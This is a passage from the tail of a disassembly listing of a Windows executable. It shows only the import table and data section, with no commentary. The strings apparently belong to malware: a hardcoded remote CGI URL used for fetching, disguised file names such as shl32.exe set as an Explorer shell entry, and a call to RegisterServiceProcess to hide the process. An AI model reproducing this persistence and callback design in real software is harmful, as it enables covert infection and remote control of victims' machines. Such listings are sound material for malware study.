2 db 2Eh ; . db 64h ; d db 6Ch ; l db 6Ch ; l db 0 db 0 db 1Ah db 0 db 43h ; C db 6Ch ; l db 6Fh ; o db 73h ; s db 65h ; e db 48h ; H db 61h ; a db 6Eh ; n db 64h ; d db 6Ch ; l db 65h ; e db 0 db 24h ; $ db 0 db 43h ; C db 6Fh ; o db 70h ; p db 79h ; y db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 41h ; A db 0 db 30h ; 0 db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 41h ; A db 0 db 3Bh ; ; db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 4Dh ; M db 75h ; u db 74h ; t db 65h ; e db 78h ; x db 41h ; A db 0 db 0 db 80h ; € db 0 db 45h ; E db 78h ; x db 69h ; i db 74h ; t db 50h ; P db 72h ; r db 6Fh ; o db 63h ; c db 65h ; e db 73h ; s db 73h ; s db 0 db 0C8h ; È db 0 db 47h ; G db 65h ; e db 74h ; t db 43h ; C db 6Fh ; o db 6Dh ; m db 6Dh ; m db 61h ; a db 6Eh ; n db 64h ; d db 4Ch ; L db 69h ; i db 6Eh ; n db 65h ; e db 41h ; A db 0 db 0F5h ; õ db 0 db 47h ; G db 65h ; e db 74h ; t db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 53h ; S db 69h ; i db 7Ah ; z db 65h ; e db 0 db 0FDh ; ý db 0 db 47h ; G db 65h ; e db 74h ; t db 4Ch ; L db 61h ; a db 73h ; s db 74h ; t db 45h ; E db 72h ; r db 72h ; r db 6Fh ; o db 72h ; r db 0 db 0 db 7 db 1 db 47h ; G db 65h ; e db 74h ; t db 4Dh ; M db 6Fh ; o db 64h ; d db 75h ; u db 6Ch ; l db 65h ; e db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 4Eh ; N db 61h ; a db 6Dh ; m db 65h ; e db 41h ; A db 0 db 0 db 9 db 1 db 47h ; G db 65h ; e db 74h ; t db 4Dh ; M db 6Fh ; o db 64h ; d db 75h ; u db 6Ch ; l db 65h ; e db 48h ; H db 61h ; a db 6Eh ; n db 64h ; d db 6Ch ; l db 65h ; e db 41h ; A db 0 db 0 db 1Fh db 1 db 47h ; G db 65h ; e db 74h ; t db 50h ; P db 72h ; r db 6Fh ; o db 63h ; c db 41h ; A db 64h ; d db 64h ; d db 72h ; r db 65h ; e db 73h ; s db 73h ; s db 0 db 0 db 59h ; Y db 1 db 47h ; G db 65h ; e db 74h ; t db 56h ; V db 65h ; e db 72h ; r db 73h ; s db 69h ; i db 6Fh ; o db 6Eh ; n db 0 db 0 db 62h ; b db 1 db 47h ; G db 65h ; e db 74h ; t db 57h ; W db 69h ; i db 6Eh ; n db 64h ; d db 6Fh ; o db 77h ; w db 73h ; s db 44h ; D db 69h ; i db 72h ; r db 65h ; e db 63h ; c db 74h ; t db 6Fh ; o db 72h ; r db 79h ; y db 41h ; A db 0 db 0 db 0A4h ; ¤ db 1 db 4Ch ; L db 6Fh ; o db 61h ; a db 64h ; d db 4Ch ; L db 69h ; i db 62h ; b db 72h ; r db 61h ; a db 72h ; r db 79h ; y db 41h ; A db 0 db 0 db 0AAh ; ª db 1 db 4Ch ; L db 6Fh ; o db 63h ; c db 61h ; a db 6Ch ; l db 41h ; A db 6Ch ; l db 6Ch ; l db 6Fh ; o db 63h ; c db 0 db 0 db 0AEh ; ® db 1 db 4Ch ; L db 6Fh ; o db 63h ; c db 61h ; a db 6Ch ; l db 46h ; F db 72h ; r db 65h ; e db 65h ; e db 0 db 60h ; ` db 2 db 53h ; S db 6Ch ; l db 65h ; e db 65h ; e db 70h ; p db 0 db 9Eh ; ž db 2 db 57h ; W db 72h ; r db 69h ; i db 74h ; t db 65h ; e db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 0 db 0A3h ; £ db 2 db 57h ; W db 72h ; r db 69h ; i db 74h ; t db 65h ; e db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 61h ; a db 74h ; t db 65h ; e db 50h ; P db 72h ; r db 6Fh ; o db 66h ; f db 69h ; i db 6Ch ; l db 65h ; e db 53h ; S db 74h ; t db 72h ; r db 69h ; i db 6Eh ; n db 67h ; g db 41h ; A db 0 db 0 db 6Bh ; k db 65h ; e db 72h ; r db 6Eh ; n db 65h ; e db 6Ch ; l db 33h ; 3 db 32h ; 2 db 2Eh ; . db 64h ; d db 6Ch ; l db 6Ch ; l db 0 db 0 db 69h ; i db 0 db 49h ; I db 6Eh ; n db 74h ; t db 65h ; e db 72h ; r db 6Eh ; n db 65h ; e db 74h ; t db 43h ; C db 6Ch ; l db 6Fh ; o db 73h ; s db 65h ; e db 48h ; H db 61h ; a db 6Eh ; n db 64h ; d db 6Ch ; l db 65h ; e db 0 db 7Bh ; { db 0 db 49h ; I db 6Eh ; n db 74h ; t db 65h ; e db 72h ; r db 6Eh ; n db 65h ; e db 74h ; t db 47h ; G db 65h ; e db 74h ; t db 43h ; C db 6Fh ; o db 6Eh ; n db 6Eh ; n db 65h ; e db 63h ; c db 74h ; t db 65h ; e db 64h ; d db 53h ; S db 74h ; t db 61h ; a db 74h ; t db 65h ; e db 0 db 86h ; † db 0 db 49h ; I db 6Eh ; n db 74h ; t db 65h ; e db 72h ; r db 6Eh ; n db 65h ; e db 74h ; t db 4Fh ; O db 70h ; p db 65h ; e db 6Eh ; n db 41h ; A db 0 db 87h ; ‡ db 0 db 49h ; I db 6Eh ; n db 74h ; t db 65h ; e db 72h ; r db 6Eh ; n db 65h ; e db 74h ; t db 4Fh ; O db 70h ; p db 65h ; e db 6Eh ; n db 55h ; U db 72h ; r db 6Ch ; l db 41h ; A db 0 db 0 db 8Eh ; Ž db 0 db 49h ; I db 6Eh ; n db 74h ; t db 65h ; e db 72h ; r db 6Eh ; n db 65h ; e db 74h ; t db 52h ; R db 65h ; e db 61h ; a db 64h ; d db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 0 db 0 db 77h ; w db 69h ; i db 6Eh ; n db 69h ; i db 6Eh ; n db 65h ; e db 74h ; t db 2Eh ; . db 64h ; d db 6Ch ; l db 6Ch ; l db 0 db 80h ; € db 1 db 52h ; R db 65h ; e db 67h ; g db 43h ; C db 6Ch ; l db 6Fh ; o db 73h ; s db 65h ; e db 4Bh ; K db 65h ; e db 79h ; y db 0 db 98h ; ˜ db 1 db 52h ; R db 65h ; e db 67h ; g db 4Fh ; O db 70h ; p db 65h ; e db 6Eh ; n db 4Bh ; K db 65h ; e db 79h ; y db 41h ; A db 0 db 0AEh ; ® db 1 db 52h ; R db 65h ; e db 67h ; g db 53h ; S db 65h ; e db 74h ; t db 56h ; V db 61h ; a db 6Ch ; l db 75h ; u db 65h ; e db 45h ; E db 78h ; x db 41h ; A db 0 db 0 db 61h ; a db 64h ; d db 76h ; v db 61h ; a db 70h ; p db 69h ; i db 33h ; 3 db 32h ; 2 db 2Eh ; . db 64h ; d db 6Ch ; l db 6Ch ; l db 0 db 0 db 67h ; g db 0 db 53h ; S db 68h ; h db 65h ; e db 6Ch ; l db 6Ch ; l db 45h ; E db 78h ; x db 65h ; e db 63h ; c db 75h ; u db 74h ; t db 65h ; e db 41h ; A db 0 db 73h ; s db 68h ; h db 65h ; e db 6Ch ; l db 6Ch ; l db 33h ; 3 db 32h ; 2 db 2Eh ; . db 64h ; d db 6Ch ; l db 6Ch ; l db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 _rdata ends ; Section 3. (virtual address 00003000) ; Virtual size : 000000F0 ( 240.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00000E00 ; Flags C0000040: Data Readable Writable ; Alignment : 16 bytes ? ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 403000h dword_403000 dd 0 ; DATA XREF: start+11w start+32r db 0 db 0 db 0 db 0 dword_403008 dd 0 ; DATA XREF: start+7w start+3Ar db 30h ; 0 db 75h ; u db 0 db 0 aMy_agent_11510 db 'my_agent_115100',0 ; DATA XREF: sub_4010BC+41o aHttpGsmms1_net db 'http://gsmms1.netfirms.com/cgi-bin/get.cgi',0 ; DATA XREF: sub_4013B4+50o aHttpGsmms1_n_0 db 'http://gsmms1.netfirms.com/cgi-bin/get.cgi',0 ; DATA XREF: sub_4013B4+66o ; BYTE Data Data db 'Explorer.exe shl32.exe',0 ; DATA XREF: sub_4011D0+191o ; sub_4011D0+1CEo aInit32_exe db '\init32.exe',0 ; DATA XREF: sub_4011D0+BDo aShl32_exe db '\shl32.exe',0 ; DATA XREF: sub_4011D0+14Do db 0 db 0 db 0 db 0 db 64h ; d db 0 db 0 db 0 dword_4030AC dd 0 ; DATA XREF: sub_40104B+30w ; sub_4011D0+173r ; char Buffer[] Buffer db 14h dup(0) ; DATA XREF: sub_40104B+37o ; sub_4011D0:loc_40127Co ... ; char ProcName[] ProcName db 'RegisterServiceProcess',0 ; DATA XREF: start+16o ; sub_40104B+Do ; char LibFileName[] LibFileName db 'kernel32.dll',0 ; DATA XREF: sub_40104B+3o align 200h _data ends end start